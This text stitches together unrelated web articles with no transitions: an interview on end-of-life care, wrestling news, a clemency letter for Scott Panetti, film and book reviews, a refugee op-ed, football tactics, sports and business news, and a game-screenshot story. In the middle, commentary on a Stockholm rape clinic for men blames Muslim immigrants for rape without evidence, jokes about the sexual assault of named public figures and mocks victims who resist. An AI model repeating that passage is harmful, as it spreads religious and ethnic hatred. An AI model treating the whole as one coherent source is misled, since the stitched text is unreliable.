KB: I think there is medical rationing in the United States, and there is undertreatment of the elderly. It’s just that intensive care is not where it occurs. People are overtreated in intensive care; one-fifth of people die in intensive care and almost anyone you talk to will say, “I don’t want to die plugged into machines.” That’s a universal horror. Three-quarters of people say they want to die at home, but only a quarter of people actually do.
The elderly are extremely undertreated in terms of things like palliative care, hospice, home services. We don’t aggressively pursue things that help people have a better quality of life in their last five years. What we do aggressively pursue are extremely profitable, money-making interventions that have the potential of creating enormous suffering at the end of life.
MJ: In your book, you include these very personal details about your relationships with your parents. Did you ever worry about being judged by your readers?
“Very few of us are succeeding in giving our parents the ideal death.”
KB: My motive was that 24 million Americans are helping care for aging parents. I know how family hierarchies are turning upside down. You may not have gotten on really smoothly with your mother and now suddenly you’re her caregiver and you’re needing to make decisions for her and she may not be so eager to turn over authority to you. Very few of us are succeeding in giving our parents the ideal death that we wish could help shepherd them towards. Almost all of us are trying to walk this line between how much do I need to sacrifice my own life for these people that I deeply love, and where do I need to draw the line and say, “No, I gotta preserve my sanity.” I wanted to be honest so that anybody who read my book who has ever done anything they were ashamed of, or failed to be as brave or as wise as they wish they were would feel they were not alone. We’re all flawed human beings in a broad, broken world.
MJ: Was there anything positive that came out of this experience for you?
KB: The amazing thing was my rediscovery of how much I loved my parents and how willing I actually was to be deeply involved, even though I had an independent life in California for 30 years.
MJ: What motivated you to write the book?
KB: To restore a sense of moral autonomy to people who are in the position I was in. To understand that the medical system is morally as well as sort of institutionally broken, and that you’re on your own and you need to think this stuff through and make your own choices, because these are not choices you can defer to the system. I want people to suffer less, and I think it’s possible.
“I want to break the taboo against questioning this drive for maximum longevity.”
MJ: Do you have any broader goals?
KB: I want there to be a public conversation about the question of when is life too long. I want to break the taboo against questioning this drive for maximum longevity no matter what the cost—to the family member, the society, the person in their 90s who’s not necessarily delighted to live another year. And I want to see a grassroots movement of caregivers to reward time rather than procedures. I’m part of a small, informal think tank interested in promoting this notion of Slow Medicine. The bottom line is that doctors and patients and families really are yearning for more time. We really want to see things restructured so that money gets transferred away from futile and very expensive late-life care toward things that really improve quality of life—including life for caregivers.
MJ: Such as?
KB: Medicare underfunds things like physical therapy, speech therapy, home healthcare aides, support for caregivers, a whole range of ancillary services that are considered peripheral but that, when you’re in the last five years, are much more central to improving your quality of life—unglamorous but incredibly useful therapies, like gait training so that you don’t fall and break your hip.
MJ: Do you feel like we are starting to move in a better direction?
A report by F4WOnline, via WrestlingInc.com, provides details on the short-term contract Dustin Rhodes (Goldust) signed with WWE, which may lead through WrestleMania:
As noted earlier this week, Dustin “Goldust” Rhodes is now working for WWE on a short-term contract. The feeling within WWE is that he will be around through WrestleMania XXX. It’s possible they may finally do the Cody Rhodes vs. Goldust match that both sided have wanted to do for at least two years now.
Dustin has publicly called for a WrestleMania match between the two since 2011.
He originally envisioned a career vs. title match featuring the two at WrestleMania XXVIII that would see Cody put his Intercontinental Championship on the line against Dustin’s career.
Reports came out that WWE was open to the idea—just not at WrestleMania. Not much was heard of the potential bout for two years.
Then came 2013’s Royal Rumble. The Rumble may forever be remembered for Chris Jericho’s surprise return, but one of the great highlights of the show was Goldust’s appearance and in-ring interaction with Cody Rhodes.
Fans clamored for the two to battle at The Showcase of the Immortals, but it didn’t happen.
New life has been breathed into Cody Rhodes’ career with his involvement in the corporation angle WWE is running, and it appears that the momentum that’s been built for him may lead into a clash between the two sons of a Son of a Plumber.
Google recently started promoting Allo in the Play Store. The app is showing up in the “New & Updated” section, though you still have to register to join the beta test. To be fair, Allo has been listed in Google Play since it was first announced, but you had to follow a specific URL to find it. This is the first time it’s getting any sort visible push.
Google previously said Allo would launch sometime this summer. So it’s possible the app could be released any day now. Then again, it’s possible this was simply a mistake. We still have a few weeks left to go before summer officially ends.
In case you missed the initial announcement or just forgot about it here’s a quick refresher on Allo. The upcoming app is a smart messaging service that takes advantage of Google Assistant, so you can call on the AI to help find a nearby restaurant or answer a question from inside a group chat. There’s also a special Incognito mode that encrypts your messages and promises to delete them after a set amount of time.
The Honorable Rick Perry
Office of the Governor
P. O. Box 12428
Austin, Texas 78711
Dear Governor Perry:
We respectfully ask you to commute Scott Panetti’s death sentence to life in prison if the Board of Pardons and Paroles recommends it. Mr. Panetti is one of the most seriously mentally ill prisoners on death row in the United States. Rather than serving as a measured response to murder, the execution of Mr. Panetti would only serve to undermine the public’s faith in a fair and moral justice system.
Each of us has been active at the national level of the conservative movement for many years, and no one could accuse us of being soft on crime. Among conservatives there is much debate about the effectiveness and the morality of the death penalty. Some crimes are so terrible, and committed with such clear malice, that some believe that execution seems the only appropriate and proportional response. But Scott Panetti’s is no such case.
Panetti has a documented history of mental illness going back to when he was 20 years old. In the subsequent decades he has been involuntarily hospitalized on fourteen separate occasions. His diagnoses include chronic schizophrenia, paranoia, hallucinations and fragmented personality, for which he was prescribed high doses of powerful psychiatric drugs for schizophrenia. He was termed manic and delusional. He heard voices and thought he was controlled by an unseen power. Panetti once nailed the curtains shut in his house to seal out the devil. It is clear that he has been suffering from severe mental illness since long before he committed the offense that landed him on death row.
In 1986, for example, Panetti believed he was engaged in spiritual warfare with Satan and he was convinced that the devil was in his home, leading his wife to sign an affidavit to have him involuntarily committed. She testified that he attempted to exorcize his home with a series of inexplicable behaviors, including burying his furniture in the backyard. Bizarre manifestations of his illness continued – virtually unabated – right up until the tragic day on which he killed his wife’s parents in 1992.
Despite this long record of mental illness, Panetti was found competent to be tried and to waive his right to counsel. Incredibly the Texas trial court allowed this delusional man to present his own “defense”. His courtroom behavior was bizarre. He wore a costume of a purple cowboy suit and bandana to the trial. He picked one juror with the flip of a coin. He attempted to subpoena over 200 witnesses including John Kennedy, the Pope, and Jesus Christ. He slept through some of the testimony.
This was no act cooked up to get him off of murder charges. His severe mental illness is thoroughly documented in his medical records. And his delusions persist. Now, just days away from his scheduled execution, Panetti continues to suffer from the manifestations of his mental illness, believing that he will be executed for preaching the Gospels to his fellow prisoners, not for the murder of his in-laws.
The authority to take a man’s life is the most draconian penalty that we allow our government to exercise. As conservatives, we must be on guard that such an extraordinary government sanction not be used against a person who is mentally incapable of rational thought. It would be immoral for the government to take this man’s life. Should the Board recommend it, we respectfully urge you to reduce Mr. Panetti’s death sentence to life in prison.
Sincerely,
Brent Bozell, President, For America
Ken Cuccinelli, President, Senate Conservatives Fund
Dave Keene, Opinion Editor, The Washington Times
Pat Nolan, Director Center for Criminal Justice Reform, the American Conservative Union Foundation
Richard Viguerie, Chairman, ConservativeHQ.com
Ron Robinson, President, Young America’s Foundation
Jim Miller, Budget Director for President Ronald Reagan
Craig Shirley, Reagan Biographer
C. Preston Noell, III, President, Tradition, Family, Property, Inc.
Rebecca Hagelin, Columnist, The Washington Times
Floyd Brown, President, Western Center for Journalism
Charles Murray, WH Brady Scholar, American Enterprise Institute
Patrick A. Trueman, Attorney At Law
Mark L. Earley, Sr., Former Attorney General of Virginia and
Former President and CEO of Prison Fellowship USA
Morton Blackwell, Chairman, The Weyrich Lunch
James L. Martin, Chairman, 60 Plus Association
Tricia Erickson, President, Angel Pictures and Publicity
Maggie Gallagher, Author
Diana L. Banister, President, Shirley & Banister Public Affairs
Mark Fitzgibbons, President of Corporate Affairs, American Target Advertising
Co-authored by SharpBrains CEO Alvaro Fernandez and co-founder and Chief Scientific Advisor Dr. Elkhonon Goldberg, this resource is timely and informative. Through a mixture of figures, tables, scientific research, and 20 interviews with leading scientists on the forefront of this rapidly evolving field, this guide helps the everyday reader come to a basic understanding of brain functioning and the lifestyle changes that matter the most for keeping the brain in tip top shape. What I particularly liked is that this book doesn't read like an infomercial. In fact, the authors explicitly state up front that "we do not prescribe or endorse any specific interventions." This was important to me because there are too many claims being put out there that are clearly motivated by the goal of selling a particular product.
The authors define brain training as "the structured and efficient use of mental exercises designed to build targeted brain-based networks and capacities. Its aim is to improve specific brain functions, similar to physical conditioning." According to the authors, society is a human ecosystem with different kinds of minds contributing to the ecosystem. Under this conceptualization, the key to brain training is to develop the specific brain functions required to flourish given a person's personal goals and specific environment. The authors review a number of important brain functions, including the suite of "executive functions" that are so important for reaching our personal goals in life. These cognitive functions include mental flexibility, perspective taking, anticipation, problem-solving, decision making, working memory, emotional self-regulation, sequencing, and inhibition. The authors make a compelling case that we need to foster the development and maintenance of a wide range of mental functions-- not just IQ or memory-- in order to reach our personal goals.
There are so many gems in this book, but I thought I'd highlight ten that particularly caught my attention:
Our brain's functions improve drastically throughout childhood and adolescence, following a predictable developmental progression. Education and lifestyle matter just as much as genetics in the developmental trajectory of our mental functions across the lifespan. There is no general brain training solution for everyone: each of us encounter different cognitive demands and have different starting points in our developmental progression. Aerobic exercise can substantially improve executive functioning, increasing various neurotransmitters, nerve growth factors, and the formation of new blood vessels (angiogenesis). Diet can improve cognitive functioning, although overall diet is important. While there is no magic nutritional supplement, recent research suggests that omega-3 fatty acids is associated with decreased risk of cognitive decline in adulthood (but no association has been found with risk of developing Alzheimer's disease). The key for optimal brain functioning is to learn how to manage stress and build up the capacity for resilience. As Dr. Brett Steenbarger notes, "think of life as a gymnasium and the obstacles we encounter as the weights we must lift to get stronger. When you view challenges as resources toward development and not as unfortunate obstacles to be avoided, you'll be well along the path toward brain fitness." It's possible to prevent cognitive decline and symptoms of Alzheimer's disease in later life by building up your "cognitive reserve." In one recent study, greater participation in intellectually stimulating activities, especially in early and middle life, was associated with lower accumulation of beta-amyloid peptide in the brain (beta-amyloid is elevated in patients with Alzheimer’s disease). Older participants who engaged in the most stimulating intellectual activities showed levels of protein accumulation similar to the levels seen in the brains of much younger participants. Social interactions, particularly those that are complex and cognitively demanding, can improve executive functioning, build cognitive reserve, and lower stress levels that can impact on brain functioning. The key to long-term mental growth is continual novelty, challenge, and variety. According to Dr. Larry McCleary, "All types [of brain stimulation] count including schoolwork, occupational endeavors, leisure activities and formal brain training." Cross-training-- involving a combination of meditation, biofeedback, cognitive therapy, and cognitive training-- can enhance targeted brain functions and build upon the healthy foundation laid by proper physical exercise, proper diet, stress regulation, and social engagement. Here's a great excerpt from the book, which includes a suggestion of five conditions that need to be met for brain training to be likely to translate into meaningful real world improvements.
On a personal note, I have to say I wish I had read this awesome guide when I was much younger. Even today, students are often led to believe that a bad grade, or difficulty learning material in a particular course, is an indication of low levels of a singular, fixed intelligence. I find the emerging field of neuroplasticity immensely exciting, and guides like this one are both hopeful and reasonable. To be sure, there is no magic pill, and cautious claims are warranted. But at the same time, I find that the latest science paints a much more hopeful picture of the potential for cognitive improvements across a wide range of cognitive functions throughout life than more fixed conceptualizations that are still predominant in society.
Jake Wade Wall having beers with his friends. Doesn’t Jake Wade Wall look like he’s fun to hang out with?
For a very long time at the beginning of the film, I wondered if perhaps I had stumbled across an actual documentary on Netflix, possibly mis-categorized, rather than a fictional horror film. While describing his father and his father’s relationship with the numerous supernatural entities that supposedly roamed his land, Jake Wade Wall introduces a clip from what is apparently as an episode of Unsolved Mysteries about Bert Wall; watching Robert Stack say Bert Wall’s name, I had a crisis of confidence about the film. Did they edit an episode of Unsolved Mysteries, Zelig-style, to make it seem like Bert Wall was a real person? If he really was alive, then are these talking head interviews about him from people who really knew him? Are the stories about him going crazy at the end of his life really true? Am I about to watch a documentary about a man’s dissolution into insanity, rather than a horror movie about a man who went insane?
Jake Wade Wall is happy you like him, friend who he paid to be in his movie. He’s truly touched.
Devil’s Backbone Texas gives us a long time to ponder these questions of authenticity. For a while, it’s a surprisingly effective portrait of grief, of a son trying to determine the best way to honor his father’s memory while also trying to learn something about the man with whom he had a very strained relationship. The numerous talking head interviews with various family members are interspersed with family photos; these photos are very well-chosen, serving the purpose of making us want to learn more about Bert. How did he go from a happy family man to a divorced recluse who may have savagely ripped apart his home to find the spirit of the woman he believed was hiding in his walls?
Maybe it’s that dude in the background who killed Bert Wall…
Unfortunately, once the film gets down to business, once the characters reach the Backbone and stop filling in backstory and start trying to uncover the truth about what happened to Bert out in the woods, the whole thing kind of comes unraveled. As Jake becomes more and more obsessed with the idea of reconnecting with his father, and the movie tries to ratchet up the intensity, the characters race back and forth between a house, the RV, the destroyed ranch house, through the woods and back to the house to the RV to the ranch to the house again, and it’s all just too much. They encounter some hunters out in the woods, and for a while it seems like the movie might actually be about locals trying to keep the pesky film crew off the property, but then the truck that tries to run them down keeps vanishing? It’s unclear whether this is supposed to be a ghost truck, or if maybe the filmmakers just forgot about it. Likewise, an angry squealing boar —which is possibly possessed…? by an angry Nazi? or wait, is it a murderously rapey Native American ghost?— enters the narrative for a minute or two and then just literally vanishes from the movie. BRING BACK THE BOAR! For some reason, the camera seems to be malfunctioning throughout much of the film; it’s chronically unable to remain focused on its subjects. For a while, in moderation, this seems like it might be an interesting decision; I can buy arguments that it’s a thematic, formal reflection of the way Jake Wade Wall spends the movie literally struggling to create a clear picture of his father’s life. But, toward the end of the movie, as everyone is running around screaming and yelling at each other and trying to escape from they-don’t-know-what, the constant loss of focus just serves to completely obscure the action. If I literally can’t see what everyone’s scared of, or even how that fear is registering on their faces, do I really feel it? I hardly even want to discuss the end of the film. It’s one of the most egregious twists-for-the-sake-of-a-twists I’ve ever seen, and it completely soured the overall impression I had of the film. The other day I encountered something similar with The Green Inferno, and I kept telling myself that I refused to let a disappointing ending detract from my final thoughts on the film. But, forget that. This ending sucked, and in my final estimation, this movie sucks, too.
Major refugee organizations across Canada were assured on Friday that the government's plan for resettling 25,000 refugees before the end of the year was on track – and that Immigration Minister John McCallum was energetically consulting his provincial counterparts and the mayors of our major cities.
The optimism quickly turned to sorrow and dismay with the horrific events in Paris later that same day. Coming on the heels of the downing of the Russian passenger jet in Sinai and more bomb-related deaths in Lebanon, we might be forgiven for wondering about the refugees streaming into Europe and due to arrive in Canada in the coming months.
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But we must keep the focus on what is important. The Paris massacre gives us a horrifying taste of the unending and vicious violence that has killed 250,000 Syrian men, women and children, displaced 10 million more and sent four million fleeing for their lives into Jordan, Lebanon and Turkey.
These refugees are victims of the same evil visited on our French cousins. We must not lose sight of that fact.
But is it wise to try to bring 25,000 refugees to Canada before the end of the year?
The debate among those leading local Canadian efforts to prepare for the arrival of 25,000 Syrian refugees is not about the number: 25,000 is the least we can do given the magnitude of the numbers camped in neighbouring countries and flooding into Europe. If 25,000 Syrians are distributed across Canada at the same ratio as other refugees, it will mean, for example, that Halifax will get 680, Ottawa 1,200, Toronto 2,300, Winnipeg 2,000, Regina 700 and Vancouver 2,800. At least half of them will be children. A challenge for sure, but hardly a flood.
The argument is about the rushed time frame. The enthusiasm of the Prime Minister, the ambitious goal he has set, the unprecedented creation of a large cabinet committee to co-ordinate the government's response are a gust of fresh air after the stonewalling and obfuscation of the Harper regime.
The logistical and accommodation challenges are obvious. The argument championed by our front-line settlement workers, many of them former refugees, is that no matter how difficult it might be for refugees to spend their first months in crowded, improvised accommodation in Canada, anything will be better than their current circumstances. They will be safe. They will be welcome. They will be looked after by people who care. Their circumstances will improve from month to month. Strong arguments.
The counterargument is that our communities, our schools and our excellent settlement agencies will be able to do a better job from the start if the refugees arrive over the next few months rather than the next six weeks.
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During the heady days of the Indochinese movement in 1979-80, when the challenge was to accept 60,000 people, a monthly average of 4,500 refugees arrived throughout the October-to-June peak period. On arrival at reception centres on military bases in Montreal and Edmonton, they had three to five days to clean up (deeply appreciated after months in squalid refugee camps), rest and eat.
They were welcomed, issued winter clothing and counselled about what would happen next. The underlying and time-tested philosophy was that they would quickly proceed to their new communities with dignity – clean, well equipped and rested. The faster we got them to their sponsors or new communities the better for them, and the sooner they would adapt to their new lives.
It worked. It has always worked. Keeping refugees in holding camps has never been the Canadian way.
Most importantly, as we allowed a little more time for processing overseas, the Indochinese refugees arrived with their medical and security clearances in hand. They had been screened, so when they left the Canadian reception centre they were Permanent Residents of Canada cleared for security and criminality, they were eligible to work, to study and for medical coverage, and they were on track for citizenship.
Memo to the Prime Minister: You are on the right track. Give yourself and the rest of us, including the refugees, a break. The media and the Opposition will fuss if they are not all here by Dec. 31 – but no one else will.
So, at the end of it all, Maradona didn’t go for his four centre-backs at the back nor did he go for the proposed three at the back that was being bandied around a couple of days before the match. However, he did opt for three up-front and more importantly, played Messi in a position that he had recently been successful in playing for Barcelona.
Over the past season, Messi has played on the wide right and during the end part of the Barcelona’s successful league winning season, in the middle. In this position, he flourished either behind the front man where he scored a hat-trick against third place Valencia. He has also shown that he can be the man furthest forward as he showed against Arsenal with his four goals. His turn of pace and his ability to turn on the proverbial peseta causes panic in defences, who don’t know whether to close him down where they will inevitably get brushed aside or drop deep and give him time to have a shot.
This similarity between his position yesterday and his position for Barcelona is evident when studying respective heatmaps.
An interesting observation that was well picked up on by the commentary team was that the Argentinian front-line were all playing in between the lines and in the space without a traditional central striker. Quite often the Nigerian central defenders were left without anyone to pick up and not knowing whether to keep in line or move up to close down the attackers. This was an interesting choice, and could have been the right choice – by moving out and closing down the Argentinian front-three, this could leave spaces behind the defence.
Messi, Tevez and Higuain are all playing in between the midfield and defence. This means that the Nigerian defence may want to push up to close down the space, but by doing this, they are always susceptible to a diagonal ball over the top. With the central defenders not pushing up, the central midfielders need to stay deep to close down the space they have. Like every tactical variation, this has knock-on effects in other areas of the pitch. This means that quite often Veron had the time to find a good pass, as the Nigerian forwards were not too enthusiastic when it came to closing Veron down. This allowed Argentina to dominate the game with 65% of possession.
When a back four finds itself defending against a 4-3-3, the full-backs have one man to pick up each, which means they are unable to tuck-in to help negate the threat of the central striker. However, with Argentina having a very fluid front-three (which turns into a front four when di Maria pushes on), a conundrum appears as the defence have the choice of pushing up or not at all.
Angel di Maria’s heatmap shows that he was stuck on the touchline. This created a front four that created opportunities for Argentina. The Nigerian right-back went and picked up di Maria, stretching the defence that created gaps between the central defender and the full-back. It is this space that Lionel Messi attempted to exploit time and time again.
Another problem that Nigeria found was that with di Maria always creating the need for the defence to be stretched, the left-full back often pushed forward to mark one of the Argentinian front three. However, this often meant that there was space to exploit on the Nigerian left, this space is further widened as the Nigerian central defence tried to stay tight to reduce the chance that Messi will run between the two of them. This created huge spaces for either Tevez or Higuain.
Maradona showed two interesting developments in their system yesterday. Firstly, the position of Messi in the centre was complimented by di Maria’s position wide on the left, creating large spaces in the central defence. The use of three unconventional central forwards who all dropped deep created problems with Nigeria’s defence and central midfield as they did not know how to pick them up zonally. This allowed Argentina to dominate possession with the use of only two midfielders.
Södersjukhuset already runs a round-the-clock walk-in clinic for women and girls who have been sexually assaulted in the city, treating between 600 and 700 patients a year. Now, the hospital, which hosts the largest emergency care unit in the Nordic region, is opening its doors to men and boys who are victims of rape and sex attacks. “We are happy that we now can finally open the first rape clinic for men following the rape clinic for women,” Rasmus Jonlund, a press spokesperson for the Liberal Party, which led the campaign for the department in the Swedish capital, told The Local just ahead of the launch. “It is the first in Sweden (…) We think it is the first in the world. We haven’t found another from our research on the world wide web,” he added. The opening was also celebrated by the Liberal Party’s centre-right Alliance partners in Stockholm City Council; the Moderates, which are the largest group in the capital’s coalition, the Christan Democrats and the Centre Party. “Emergency medical care for raped men will be free of charge, and offered around the clock, all year,” said Marie Ljungberg Schött, a local Moderate Party party politician and council representative on emergency care in a statement.
Truly cause for celebration.
As with most of Sweden’s Most Wanted, the rapists are not likely to be native Swedes. It will probably be the same immigrants who are now trying to drive out Christian immigrants:
A Christian Syrian teenager has told The Local how he fears he is “going to die” after threats containing Isis symbols were painted on his family’s takeaway shop, amid growing safety concerns among the Assyrian community in west Sweden.
You would think heterosexual men who “identify as women” walking around women’s locker-rooms naked would be as low as it could go, but it seems Muslim immigrants can still take it a step lower.
What amuses me is it won’t be Dwayne “The Rock” Johnson getting grabbed up and dragged into an ally by a Muslim gang to be corn-holed and beaten. It will be the Woody Allen’s, Barack Obama’s, and Gavin Newsom’s of the world. You would think liberals would be more considerate of the weak and helpless.
The crazy thing is, if the resource restriction went on long enough, the rapists would end up with government protections, and their victims would be punished if they resisted. As things go r, it is the K who becomes weird, and in need of punishment. I mean, these rapists have needs – how could a victim be so inconsiderate as to fight back?
Bonus sign of the coming Swedish apocalypse : The Swedish dancing tampon song to teach children about women’s periods.
Additional bonus sign of the apocalypse: Sweden launches sex books for disabled teens.
An inspirational University of Sheffield lecturer who died from terminal cancer has launched a charity aiming to raise funds for research, hospice care and education which will hold its first event on Thursday, 28 February 2013.
Dr Tim Richardson from the University of Sheffield's Department of Physics and Astronomy, a member of staff from 1991 to 2012, passed away on 5 February 2013 after being diagnosed with cancer last year but the charity he created, called Inspiration for Life, is a vibrant legacy which will give something back to education and help people of all ages affected by cancer
The charity's first major event – a 24 hour science-a-thon featuring lectures on a wide range of subjects including asteroids, magic, extraterrestrial life forms, music, human rights, infinity, and more, will take place at the University’s Hicks Building on Thursday 28 February 2013 from 5pm until 5pm on Friday 1 March 2013.
World renowned experts from the University of Sheffield including Professor Richard Jones, Pro-Vice Chancellor for Research and Innovation, Professor Tony Ryan, OBE, Pro-Vice-Chancellor of the Faculty of Science, Professor Dan Tovey, who helped find the Higgs Boson particle at CERN, and Professor Sir Keith Burnett, Vice-Chancellor of the University of Sheffield – as well as many more – will be presenting interesting, entertaining and informative lectures for non-specialist audiences.
Tickets to the event are available on the door, with a minimum donation of £1 per lecture or £5 for the full programme.
Catherine Annabel, Chair of the Board of Trustees of Inspiration for Life, said: “Tim raised more than £8,000 for Children In Need with 24 hours of back-to-back lectures at the University in 2011, which we used as an inspiration for this week’s event.
"Inspiration for Life will allow health research funding, hospice funding and funding for education to be delivered as a result of the very varied range of charitable activities that University staff and students and others beyond carry out.
"There will be a range of activities aiming to promote lifelong learning, and encourage the public understanding of science – publications, lectures and other events. We’ll work within and beyond the University, linking up with schools and other organisations who share these goals.
"We'll also encourage students in Physics and Astronomy through the award of prizes each year for those who have provided inspiration for others, academic and otherwise."
Dr Richardson‘s inspirational diary and reflections on life, love, illness, education and meaning will shortly be published as an eBook. For When I’m Sleeping is written with his characteristic honesty and humour, and it is expected to raise more life- saving and life-enhancing funds.
For more information on Dr Richardson's story and on the charity please visit www.inspirationforlife.co.uk.
Additional information Inspiration for Life 24-hour lectures programme The University of Sheffield
On Thursday, Target and Google announced that they are expanding what was a years-old delivery partnership from a small experiment in a handful of cities to the entire continental U.S.
The expansion will allow Target to become a retail partner in Google’s voice-shopping initiative, which lets owners of the Google Home “smart” speaker order items through voice commands like owners of the Echo can do from Amazon.
The announcement comes seven weeks after Walmart inked a similar deal with Google to offer hundreds of thousands of products through the service. Other big-box retailers like Home Depot are also on board.
Voice commerce was the core of these recent announcements, and it may someday become popular for types of shopping like reordering household staples. But that’s not what is most interesting here to me.
Instead, it’s the promise that Target is also beginning to work with Google “to create innovative digital experiences using ... other cutting-edge technologies to elevate Target’s strength in style areas such as home, apparel and beauty.”
“Target ​and ​Google ​teams ​are ​working ​on ... building ​experiences ​that digitally ​replicate ​the ​joy ​of ​shopping ​a ​Target ​store ​to ​discover ​stylish ​and ​affordable ​products,” Target’s digital chief ​Mike ​McNamara said in a press release.
If I were a betting man, I’d wager that augmented reality will be one of the areas where the two sides will seriously explore a way to work together. A Target spokesperson said it’s too early to provide details on future partnerships between the companies.
One reason for my guess: The use of the phrase “digitally replicate the joy of shopping” above, which sounds like a hint at either augmented or virtual reality.
Another reason: Just this week, at the Shoptalk Europe conference, Google’s director of augmented reality, Greg Jones, pitched retailers in the audience on working together, and made the case why Google and retailers’ interests are aligned.
While nodding to the obvious threat Amazon poses to retailers, Jones admitted that the e-commerce giant is “also a threat to Google, since a lot of people are going to Amazon first when it comes to product search.” There is plenty of data to back that up.
Google has already worked with retailers like Lowe’s to use augmented-reality technology — which allows digital objects to be overlaid on the real world when viewed through a phone’s screen — to help shoppers find the products they are looking for when in a store.
And the tech giant has also worked with Pottery Barn on an augmented-reality app that lets shoppers get a visual idea of what a new piece of furniture will look like in their home. Ikea, Houzz and Wayfair have built similar solutions in their apps.
Jones also told the audience that Google would be building its own augmented-reality apps focused on the retail world. In a brief interview after his presentation, Jones said one goal of this initiative is to give a wide range of shoppers the benefits of AR features without requiring them to download a different app for every retailer they frequent.
Luna: Isn’t my spawn adorable??
I love how you are blatantly ignoring the fact that you have other children.
Luna: And the problem with that is…?
Ugh. You just don’t understand.
Luna: I’m not ignoring them, I’m just… temporarily pretending they don’t exist.
Ugh. Still doesn’t get it, does she?
Well… I guess she is pretty adorable… HEY WAIT!
Luna: What?
You seriously can’t be trying to justify neglecting your other kids like that… right?
Luna: No comment.
Nadine: Come on overseer! Don’t forget about us like mom ! We were born first…
Well they’re all adorable.
Luna: And?
I guess we’ll have to even out the toddler spam with some sibling spam.
Luna: You mean spare spam…
No. That’s up to the readers!
Luna: Hmph.
Stop pouting.
I love them so much.
Nadine: Present and ready to be a fierce dinosaur.
Maxwell: Accounted for and ready to be sassy.
Nadine is still adorable when she tries to be serious.
Luna: All I ever wanted was an evil little girl to call my own… *sobs*
And I’m pretty sure this is one of the few times Maxwell has had a facial expression that doesn’t show the smolder.
Luna: He’s too great! But… ugh. I feel so weird… what is happening?
Is it… what we call emotions?
Luna: Whatever it is, I don’t like it.
Nadine: I swear Maxwell, we are being ignored!
Maxwell: Well to be fair kids can’t do anything interesting.
Luna: Ahh, cold and calculated. Just how he needs to be.
Glad to see some recognition from you Luna!
See?
Luna: What?
The smolder is there again!
AHHH.
Luna: SO CUTE.
Yes, that is what I meant.
And here is a sort of compensation.
Luna: Yes, now let’s focus on me.
Now that one is going on the wall.
Luna: Ahh, I’m so in love.
So in love…
That you would scare him?
Luna: What’s wrong with that?
Ugh. I forgot you suck at emotions. Go apologize.
Luna: I’m sorry for scaring you Thomas. Can you forgive me?
Thomas: Hmm. Well I can! I guess so! Yes!
Awwww-
Luna: Now…
Luna: Lemme make it up to ya.
Thomas: Alriiiiight.
ALRIGHTOFFICIALLYLEAVINGNOWBYE.
Luna: Thanks for reading!
Sorry for the short chapter! Guess who ran out of screenshots? … Again. 😦 Looks like I’ll have to make it up with a double chapter post!
Yancy Gates had 17 points and 11 rebounds Wednesday night, and the Bearcats held Georgetown to four field goals in the second half in a 58-46 win over the No. 11 Hoyas.
The win ended Cincinnati's 20-game road losing streak against ranked teams, their last win coming against then-No. 21 Marquette on Jan. 14, 2004.
It also moved the Bearcats (22-6, 9-6) into a tie for seventh in the Big East standings, which would be good enough for a first-round bye in the conference tournament, and gives another boost to the school's hopes to make the NCAA tournament for the first time in Mick Cronin's five seasons as coach. A loss would have dropped them to 11th in the conference.
"This win really helps our cause," Gates said.
Dion Dixon also scored 17 points, Rashad Bishop had 12, and the Bearcats played more zone than usual to stifle the Hoyas. Georgetown shot 25 percent from the field, its worst shooting game since at least the 1996-97 season.
But the scoresheet wasn't the biggest concern for the Hoyas (21-7, 10-6) -- it was the condition of Wright's left, non-shooting hand. The senior point guard was hurt with 15:54 remaining when he lost possession in the paint and committed a foul as he reached for the ball. He had his hand wrapped and stayed in the game for another 30 seconds, then left and returned briefly before grabbing his hand in pain, forcing a stoppage in play and sending him to the bench for good with about 11 minutes to go.
Coach John Thompson III said he did not know which bone was broken or have an estimate for how long Wright might be sidelined.
"I think we have to see how he feels," Thompson said. "I don't know what it means."
The injury is potentially a serious blow to the Hoyas' hopes for a deep postseason run. Wright is averaging 13.1 points, second on the team behind Austin Freeman. He had been playing especially well for the No. 11 Hoyas recently, averaging 21.7 points and shooting 50 percent from the field over his previous three games. He struggled against Cincinnati even before he broke his hand, going 0 for 6 from the field and scoring just two points.
After he left the game for good, the Hoyas were unable to mount any sort of serious comeback threat.
"I just thought we were out of sync," Thompson said. "I thought we went through a phase where we started feeling sorry for ourselves, which we don't need to do."
The Hoyas have lost two of three. Instead of moving into third place in the Big East, which would be worth a double-bye in the conference tournament, they dropped into a tie for fifth.
Freeman broke out of his latest mini-slump to score 19 points for the Hoyas, but he was the only player with any degree of success against a Bearcats team that entered the game leading the Big East in scoring defense, allowing 58.7 points per game.
Overall, Georgetown shot 12 for 48, including 5 for 23 from 3-point range, a stunning display from a team that began the day shooting 49.7 from the field -- second in the nation. The Hoyas were 4 for 23 in the second half.
The teams were tied at 26 at halftime, but the Hoyas missed their first eight shots of the second half and committed seven turnovers before finally making a field goal -- Hollis Thompson's 3-pointer with 9:31 remaining. By then, the Bearcats had opened the half with a 17-3 run to take a 43-28 lead. Gates scored seven points during the run and was an offensive rebounding force who kept possessions alive.
Georgetown stayed as close as it did because of the game's free-throw discrepancy. The Hoyas made 17 of 20 from the line; the Bearcats took only two free throws in the first 35 minutes and finished 9 for 13 because Georgetown was forced to foul late.
Gates' three-point play put the Bearcats ahead 48-35 with 4:43 to play. Freeman's fast-break layup and Vee Sanford's 3-pointer got the Hoyas within eight, but Bishop banked in a 3-pointer as the shot clock was about to expire to restore a double-digit lead with 3:13 to play. Freeman looked exasperated, slumping his shoulders and rolling his eyes as the shot went in.
MORON, Venezuela (AP) — Only the filthy water from broken sewer pipes keeps the dust down in front of Ramon Boet's shop, which sells statues of saints and other religious objects.
In the distance, massive tankers pull up to a half-century-old refinery that processes much of the oil that earns Venezuela more than $100 billion a year.
"It doesn't help us at all," Boet, 58, says as a blackout snuffs the lights in his shop in this Caribbean coastal town. He closes before dusk. Too many robbers.
The oil flowing from the El Palito refinery sells for more than five times what it cost when President Hugo Chavez took office in 1999. Yet when Chavez died in March he left Venezuela's cash cow, its state-run oil company, in such dire straits that analysts say $100-a-barrel oil may no longer be enough to keep the country afloat barring a complete overhaul of a deteriorating petroleum industry.
The situation is more urgent than ever, analysts say. The price of crude has slumped in recent weeks and Chavez's heir, Nicolas Maduro, appears to have done little to address declining production, billions in debt and infrastructure deficiencies that have caused major accidents including a blaze that killed at least 42 people at Venezuela's largest refinery last year.
Maduro has retained Chavez's oil minister and the head of state oil company Petroleos de Venezuela S.A., Rafael Ramirez. And he appears intent on continuing to send cut-rate oil to members of the 18-nation Petrocaribe alliance, for which Venezuela is hosting a summit on Saturday.
